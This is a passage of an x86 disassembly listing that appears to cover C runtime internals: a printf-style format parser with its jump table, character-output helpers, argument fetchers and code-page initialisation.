byte ptr [eax+4], 20h jz short loc_41FEFF push 2 push 0 push ebx call sub_422F09 add esp, 0Ch loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j ; sub_41FE2A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41FF1D ; --------------------------------------------------------------------------- loc_41FF09: ; CODE XREF: sub_41FE2A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_4230FB add esp, 0Ch mov [ebp+arg_4], eax loc_41FF1D: ; CODE XREF: sub_41FE2A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41FF29 or dword ptr [esi+0Ch], 20h jmp short loc_41FF38 ; --------------------------------------------------------------------------- loc_41FF29: ; CODE XREF: sub_41FE2A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41FF3B ; --------------------------------------------------------------------------- loc_41FF33: ; CODE XREF: sub_41FE2A+10j ; sub_41FE2A+18j ... or al, 20h mov [esi+0Ch], eax loc_41FF38: ; CODE XREF: sub_41FE2A+FDj or eax, 0FFFFFFFFh loc_41FF3B: ; CODE XREF: sub_41FE2A+107j pop esi pop ebx pop ebp retn sub_41FE2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF3F proc near ; CODE XREF: sub_41C266+29p ; sub_41C360+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_420658 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41FF73 ; --------------------------------------------------------------------------- loc_41FF6B: ; CODE XREF: sub_41FF3F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41FF73: ; CODE XREF: sub_41FF3F+2Aj cmp [ebp+var_14], edx jl loc_420658 cmp bl, 20h jl short loc_41FF94 cmp bl, 78h jg short loc_41FF94 movsx eax, bl mov al, [eax+42771Ch] and eax, 0Fh jmp short loc_41FF96 ; --------------------------------------------------------------------------- loc_41FF94: ; CODE XREF: sub_41FF3F+40j ; sub_41FF3F+45j xor eax, eax loc_41FF96: ; CODE XREF: sub_41FF3F+53j movsx eax, byte_42773C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_420647 ; default jmp off_420660[eax*4] ; switch jump loc_41FFB4: ; DATA XREF: ___:off_420660o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041FFAD case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFCF: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o movsx eax, bl ; jumptable 0041FFAD case 2 sub eax, 20h jz short loc_420012 sub eax, 3 jz short loc_420009 sub eax, 8 jz short loc_420000 dec eax dec eax jz short loc_41FFF7 sub eax, 3 jnz loc_420647 ; default or [ebp+var_4], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_41FFF7: ; CODE XREF: sub_41FF3F+A4j or [ebp+var_4], 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420000: ; CODE XREF: sub_41FF3F+A0j or [ebp+var_4], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420009: ; CODE XREF: sub_41FF3F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FF3F+96j or [ebp+var_4], 2 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42001B: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 3 jnz short loc_420043 lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_420647 ; default or [ebp+var_4], 4 neg eax loc_42003B: ; CODE XREF: sub_41FF3F+111j mov [ebp+var_20], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420043: ; CODE XREF: sub_41FF3F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] loc_42004C: ; DATA XREF: ___:00432860o ; ___:0043286Co lea eax, [ecx+eax*2-30h] jmp short loc_42003B ; --------------------------------------------------------------------------- loc_420052: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o mov [ebp+var_10], edx ; jumptable 0041FFAD case 4 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42005A: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 2Ah ; jumptable 0041FFAD case 5 jnz short loc_42007D lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_420647 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42007D: ; CODE XREF: sub_41FF3F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_42008F: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o cmp bl, 49h ; jumptable 0041FFAD case 6 jz short loc_4200C2 cmp bl, 68h jz short loc_4200B9 cmp bl, 6Ch jz short loc_4200B0 cmp bl, 77h jnz loc_420647 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B0: ; CODE XREF: sub_41FF3F+15Dj or [ebp+var_4], 10h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_41FF3F+158j or [ebp+var_4], 20h jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200C2: ; CODE XREF: sub_41FF3F+153j cmp byte ptr [edi], 36h jnz short loc_4200DB cmp byte ptr [edi+1], 34h jnz short loc_4200DB inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_4200DB: ; CODE XREF: sub_41FF3F+186j ; sub_41FF3F+18Cj mov [ebp+var_30], edx loc_4200DE: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o mov ecx, off_43CE78 ; jumptable 0041FFAD case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_42010A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_42010A: ; CODE XREF: sub_41FF3F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_420680 add esp, 0Ch jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420122: ; CODE XREF: sub_41FF3F+6Ej ; DATA XREF: ___:off_420660o movsx eax, bl ; jumptable 0041FFAD case 7 cmp eax, 67h jg loc_42034A cmp eax, 65h jge loc_4201CD cmp eax, 58h jg loc_42022B jz loc_4203BE sub eax, 43h jz loc_4201EE dec eax dec eax jz short loc_4201C3 dec eax dec eax jz short loc_4201C3 sub eax, 0Ch jnz loc_420549 test word ptr [ebp+var_4], 830h jnz short loc_42016C or byte ptr [ebp+var_4+1], 8 loc_42016C: ; CODE XREF: sub_41FF3F+227j ; sub_41FF3F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_420179 mov esi, 7FFFFFFFh loc_420179: ; CODE XREF: sub_41FF3F+233j lea eax, [ebp+arg_8] push eax call sub_42071E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_420392 test ecx, ecx jnz short loc_4201A1 mov ecx, off_43D094 mov [ebp+var_8], ecx loc_4201A1: ; CODE XREF: sub_41FF3F+257j mov [ebp+var_24], 1 mov eax, ecx loc_4201AA: ; CODE XREF: sub_41FF3F+282j mov edx, esi dec esi test edx, edx jz loc_420389 cmp word ptr [eax], 0 jz loc_420389 inc eax inc eax jmp short loc_4201AA ; --------------------------------------------------------------------------- loc_4201C3: ; CODE XREF: sub_41FF3F+212j ; sub_41FF3F+216j mov [ebp+var_34], 1 add bl, 20h loc_4201CD: ; CODE XREF: sub_41FF3F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4202B1 mov [ebp+var_10], 6 jmp loc_4202BF ; --------------------------------------------------------------------------- loc_4201EE: ; CODE XREF: sub_41FF3F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_4201FA or byte ptr [ebp+var_4+1], 8 loc_4201FA: ; CODE XREF: sub_41FF3F+2B5j ; sub_41FF3F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_420241 call sub_42073B push eax lea eax, [ebp+var_248] push eax call sub_424663 add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_420254 mov [ebp+var_28], 1 jmp short loc_420254 ; --------------------------------------------------------------------------- loc_42022B: ; CODE XREF: sub_41FF3F+1FBj sub eax, 5Ah jz short loc_420262 sub eax, 9 jz short loc_4201FA dec eax jz loc_420424 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420241: ; CODE XREF: sub_41FF3F+2C5j call sub_42071E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_420254: ; CODE XREF: sub_41FF3F+2E1j ; sub_41FF3F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_420549 ; --------------------------------------------------------------------------- loc_420262: ; CODE XREF: sub_41FF3F+2EFj lea eax, [ebp+arg_8] push eax call sub_42071E test eax, eax pop ecx jz short loc_4202A3 mov ecx, [eax+4] test ecx, ecx jz short loc_4202A3 test byte ptr [ebp+var_4+1], 8 jz short loc_420294 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_420294: ; CODE XREF: sub_41FF3F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_420546 ; --------------------------------------------------------------------------- loc_4202A3: ; CODE XREF: sub_41FF3F+32Fj ; sub_41FF3F+336j mov eax, off_43D090 mov [ebp+var_8], eax push eax jmp loc_42033F ; --------------------------------------------------------------------------- loc_4202B1: ; CODE XREF: sub_41FF3F+29Dj jnz short loc_4202BF cmp bl, 67h jnz short loc_4202BF mov [ebp+var_10], 1 loc_4202BF: ; CODE XREF: sub_41FF3F+2AAj ; sub_41FF3F:loc_4202B1j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43D420 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_420311 cmp [ebp+var_10], 0 jnz short loc_420311 lea eax, [ebp+var_248] push eax call off_43D42C pop ecx loc_420311: ; CODE XREF: sub_41FF3F+3BCj ; sub_41FF3F+3C2j cmp bl, 67h jnz short loc_420328 test esi, esi jnz short loc_420328 lea eax, [ebp+var_248] push eax call off_43D424 pop ecx loc_420328: ; CODE XREF: sub_41FF3F+3D5j ; sub_41FF3F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_42033E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_42033E: ; CODE XREF: sub_41FF3F+3F0j push edi loc_42033F: ; CODE XREF: sub_41FF3F+36Dj call sub_41B9C0 pop ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_42034A: ; CODE XREF: sub_41FF3F+1E9j sub eax, 69h jz loc_420424 sub eax, 5 jz loc_4203FA dec eax jz loc_4203E7 dec eax jz short loc_4203B7 sub eax, 3 jz loc_42016C dec eax dec eax jz loc_420428 sub eax, 3 jnz loc_420549 mov [ebp+var_2C], 27h jmp short loc_4203C5 ; --------------------------------------------------------------------------- loc_420389: ; CODE XREF: sub_41FF3F+270j ; sub_41FF3F+27Aj sub eax, ecx sar eax, 1 jmp loc_420546 ; --------------------------------------------------------------------------- loc_420392: ; CODE XREF: sub_41FF3F+24Fj test ecx, ecx jnz short loc_42039F mov ecx, off_43D090 mov [ebp+var_8], ecx loc_42039F: ; CODE XREF: sub_41FF3F+455j mov eax, ecx loc_4203A1: ; CODE XREF: sub_41FF3F+46Fj mov edx, esi dec esi test edx, edx jz short loc_4203B0 cmp byte ptr [eax], 0 jz short loc_4203B0 inc eax jmp short loc_4203A1 ; --------------------------------------------------------------------------- loc_4203B0: ; CODE XREF: sub_41FF3F+467j ; sub_41FF3F+46Cj sub eax, ecx jmp loc_420546 ; --------------------------------------------------------------------------- loc_4203B7: ; CODE XREF: sub_41FF3F+425j mov [ebp+var_10], 8 loc_4203BE: ; CODE XREF: sub_41FF3F+201j mov [ebp+var_2C], 7 loc_4203C5: ; CODE XREF: sub_41FF3F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_42042F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203E7: ; CODE XREF: sub_41FF3F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_42042F or byte ptr [ebp+var_4+1], 2 jmp short loc_42042F ; --------------------------------------------------------------------------- loc_4203FA: ; CODE XREF: sub_41FF3F+417j lea eax, [ebp+arg_8] push eax call sub_42071E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_420413 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_420418 ; --------------------------------------------------------------------------- loc_420413: ; CODE XREF: sub_41FF3F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_420418: ; CODE XREF: sub_41FF3F+4D2j mov [ebp+var_28], 1 jmp loc_420647 ; default ; --------------------------------------------------------------------------- loc_420424: ; CODE XREF: sub_41FF3F+2F7j ; sub_41FF3F+40Ej or [ebp+var_4], 40h loc_420428: ; CODE XREF: sub_41FF3F+432j mov [ebp+var_C], 0Ah loc_42042F: ; CODE XREF: sub_41FF3F+491j ; sub_41FF3F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_420441 lea eax, [ebp+arg_8] push eax call sub_42072B pop ecx jmp short loc_420482 ; --------------------------------------------------------------------------- loc_420441: ; CODE XREF: sub_41FF3F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_420468 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42045D call sub_42071E pop ecx movsx eax, ax loc_42045A: ; CODE XREF: sub_41FF3F+527j ; sub_41FF3F+539j cdq jmp short loc_420482 ; --------------------------------------------------------------------------- loc_42045D: ; CODE XREF: sub_41FF3F+510j call sub_42071E pop ecx movzx eax, ax jmp short loc_42045A ; --------------------------------------------------------------------------- loc_420468: ; CODE XREF: sub_41FF3F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_42047A call sub_42071E pop ecx jmp short loc_42045A ; --------------------------------------------------------------------------- loc_42047A: ; CODE XREF: sub_41FF3F+531j call sub_42071E pop ecx xor edx, edx loc_420482: ; CODE XREF: sub_41FF3F+500j ; sub_41FF3F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4204A3 test edx, edx jg short loc_4204A3 jl short loc_420492 test eax, eax jnb short loc_4204A3 loc_420492: ; CODE XREF: sub_41FF3F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4204A7 ; --------------------------------------------------------------------------- loc_4204A3: ; CODE XREF: sub_41FF3F+547j ; sub_41FF3F+54Bj ... mov esi, eax mov edi, edx loc_4204A7: ; CODE XREF: sub_41FF3F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4204B0 and edi, 0 loc_4204B0: ; CODE XREF: sub_41FF3F+56Cj cmp [ebp+var_10], 0 jge short loc_4204BF mov [ebp+var_10], 1 jmp short loc_4204C3 ; --------------------------------------------------------------------------- loc_4204BF: ; CODE XREF: sub_41FF3F+575j and [ebp+var_4], 0FFFFFFF7h loc_4204C3: ; CODE XREF: sub_41FF3F+57Ej mov eax, esi or eax, edi jnz short loc_4204CD and [ebp+var_1C], 0 loc_4204CD: ; CODE XREF: sub_41FF3F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_4204D3: ; CODE XREF: sub_41FF3F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_4204E3 mov eax, esi or eax, edi jz short loc_42051E loc_4204E3: ; CODE XREF: sub_41FF3F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41DD20 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41DCB0 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_420514 add ebx, [ebp+var_2C] loc_420514: ; CODE XREF: sub_41FF3F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_4204D3 ; --------------------------------------------------------------------------- loc_42051E: ; CODE XREF: sub_41FF3F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_420549 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_42053C test eax, eax jnz short loc_420549 loc_42053C: ; CODE XREF: sub_41FF3F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_420546: ; CODE XREF: sub_41FF3F+35Fj ; sub_41FF3F+406j ... mov [ebp+var_C], eax loc_420549: ; CODE XREF: sub_41FF3F+21Bj ; sub_41FF3F+2FDj ... cmp [ebp+var_28], 0 jnz loc_420647 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_420581 test bh, 1 jz short loc_420566 mov [ebp+var_16], 2Dh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420566: ; CODE XREF: sub_41FF3F+61Fj test bl, 1 jz short loc_420571 mov [ebp+var_16], 2Bh jmp short loc_42057A ; --------------------------------------------------------------------------- loc_420571: ; CODE XREF: sub_41FF3F+62Aj test bl, 2 jz short loc_420581 mov [ebp+var_16], 20h loc_42057A: ; CODE XREF: sub_41FF3F+625j ; sub_41FF3F+630j mov [ebp+var_1C], 1 loc_420581: ; CODE XREF: sub_41FF3F+61Aj ; sub_41FF3F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4205A1 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_4205A1: ; CODE XREF: sub_41FF3F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_4206E6 add esp, 10h test bl, 8 jz short loc_4205D3 test bl, 4 jnz short loc_4205D3 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4206B5 add esp, 10h loc_4205D3: ; CODE XREF: sub_41FF3F+67Bj ; sub_41FF3F+680j cmp [ebp+var_24], 0 jz short loc_42061A cmp [ebp+var_C], 0 jle short loc_42061A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_4205E8: ; CODE XREF: sub_41FF3F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_424663 pop ecx test eax, eax pop ecx jle short loc_42062F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_4206E6 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_4205E8 jmp short loc_42062F ; --------------------------------------------------------------------------- loc_42061A: ; CODE XREF: sub_41FF3F+698j ; sub_41FF3F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_4206E6 add esp, 10h loc_42062F: ; CODE XREF: sub_41FF3F+6BCj ; sub_41FF3F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_420647 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4206B5 add esp, 10h loc_420647: ; CODE XREF: sub_41FF3F+68j ; sub_41FF3F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41FF6B loc_420658: ; CODE XREF: sub_41FF3F+1Fj ; sub_41FF3F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41FF3F endp ; --------------------------------------------------------------------------- off_420660 dd offset loc_4200DE ; DATA XREF: sub_41FF3F+6Er dd offset loc_41FFB4 ; jump table for switch statement dd offset loc_41FFCF dd offset loc_42001B dd offset loc_420052 dd offset loc_42005A dd offset loc_42008F dd offset loc_420122 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420680 proc near ; CODE XREF: sub_41FF3F+1BDp ; sub_41FF3F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_420699 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4206A4 ; --------------------------------------------------------------------------- loc_420699: ; CODE XREF: sub_420680+9j push ecx push [ebp+arg_0] call sub_41FE2A pop ecx pop ecx loc_4206A4: ; CODE XREF: sub_420680+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4206B1 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4206B1: ; CODE XREF: sub_420680+2Aj inc dword ptr [eax] pop ebp retn sub_420680 endp ; =============== S U B R O U T I N E ======================================= sub_4206B5 proc near ; CODE XREF: sub_41FF3F+65Ap ; sub_41FF3F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_4206E3 mov esi, [esp+8+arg_C] loc_4206C6: ; CODE XREF: sub_4206B5+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_420680 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_4206E3 mov eax, edi dec edi test eax, eax jg short loc_4206C6 loc_4206E3: ; CODE XREF: sub_4206B5+Bj ; sub_4206B5+25j pop edi pop esi retn sub_4206B5 endp ; =============== S U B R O U T I N E ======================================= sub_4206E6 proc near ; CODE XREF: sub_41FF3F+670p ; sub_41FF3F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_42071A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_4206FC: ; CODE XREF: sub_4206E6+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_420680 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_42071A mov eax, ebx dec ebx test eax, eax jg short loc_4206FC loc_42071A: ; CODE XREF: sub_4206E6+Cj ; sub_4206E6+2Bj pop edi pop esi pop ebx retn sub_4206E6 endp ; =============== S U B R O U T I N E ======================================= sub_42071E proc near ; CODE XREF: sub_41FF3F+E5p ; sub_41FF3F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_42071E endp ; =============== S U B R O U T I N E ======================================= sub_42072B proc near ; CODE XREF: sub_41FF3F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_42072B endp ; =============== S U B R O U T I N E ======================================= sub_42073B proc near ; CODE XREF: sub_41FF3F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_42073B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420749 proc near ; CODE XREF: sub_420B0D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_4208E2 mov esi, eax pop ecx cmp esi, dword_4DD144 mov [ebp+arg_0], esi jz loc_4208D6 xor ebx, ebx cmp esi, ebx jz loc_4208CC xor edx, edx mov eax, offset dword_43D0A0 loc_42077D: ; CODE XREF: sub_420749+41j cmp [eax], esi jz short loc_4207F3 add eax, 30h inc edx cmp eax, offset dword_43D190 jl short loc_42077D lea eax, [ebp+var_18] push eax push esi call near ptr 2650951h nop cmp eax, 1 jnz loc_4208C4 push 40h xor eax, eax pop ecx mov edi, offset byte_4DD260 cmp [ebp+var_18], 1 mov dword_4DD144, esi rep stosd stosb mov dword_4DD364, ebx jbe loc_4208B2 cmp [ebp+var_12], 0 jz loc_420888 lea ecx, [ebp+var_11] loc_4207D0: ; CODE XREF: sub_420749+139j mov dl, [ecx] test dl, dl jz loc_420888 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_4207E1: ; CODE XREF: sub_420749+A8j cmp eax, edx ja loc_42087C or byte_4DD261[eax], 4 inc eax jmp short loc_4207E1 ; --------------------------------------------------------------------------- loc_4207F3: ; CODE XREF: sub_420749+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DD260 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43D0B0[esi] loc_42080F: ; CODE XREF: sub_420749+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_420842 loc_420816: ; CODE XREF: sub_420749+F7j mov dl, [ecx+1] test dl, dl jz short loc_420842 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_42083B mov edx, [ebp+var_4] mov dl, byte_43D098[edx] loc_420830: ; CODE XREF: sub_420749+F0j or byte_4DD261[eax], dl inc eax cmp eax, edi jbe short loc_420830 loc_42083B: ; CODE XREF: sub_420749+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_420816 loc_420842: ; CODE XREF: sub_420749+CBj ; sub_420749+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_42080F mov eax, [ebp+arg_0] mov dword_4DD15C, 1 push eax mov dword_4DD144, eax call sub_42092C lea esi, dword_43D0A4[esi] mov edi, offset dword_4DD150 movsd movsd pop ecx mov dword_4DD364, eax movsd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_42087C: ; CODE XREF: sub_420749+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_4207D0 loc_420888: ; CODE XREF: sub_420749+7Ej ; sub_420749+8Bj push 1 pop eax loc_42088B: ; CODE XREF: sub_420749+14Fj or byte_4DD261[eax], 8 inc eax cmp eax, 0FFh jb short loc_42088B push esi call sub_42092C pop ecx mov dword_4DD364, eax mov dword_4DD15C, 1 jmp short loc_4208B8 ; --------------------------------------------------------------------------- loc_4208B2: ; CODE XREF: sub_420749+74j mov dword_4DD15C, ebx loc_4208B8: ; CODE XREF: sub_420749+167j xor eax, eax mov edi, offset dword_4DD150 stosd stosd stosd jmp short loc_4208D1 ; --------------------------------------------------------------------------- loc_4208C4: ; CODE XREF: sub_420749+51j cmp dword_4DBE4C, ebx jz short loc_4208DA loc_4208CC: ; CODE XREF: sub_420749+27j call sub_42095F loc_4208D1: ; CODE XREF: sub_420749+131j ; sub_420749+179j call sub_420988 loc_4208D6: ; CODE XREF: sub_420749+1Dj xor eax, eax jmp short loc_4208DD ; --------------------------------------------------------------------------- loc_4208DA: ; CODE XREF: sub_420749+181j or eax, 0FFFFFFFFh loc_4208DD: ; CODE XREF: sub_420749+18Fj pop edi pop esi pop ebx leave retn sub_420749 endp ; =============== S U B R O U T I N E ======================================= sub_4208E2 proc near ; CODE XREF: sub_420749+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DBE4C, 0 cmp eax, 0FFFFFFFEh jnz short loc_420902 mov dword_4DBE4C, 1 nop jmp near ptr 26508E6h ; --------------------------------------------------------------------------- loc_420902: ; CODE XREF: sub_4208E2+Ej cmp eax, 0FFFFFFFDh jnz short loc_420917 mov 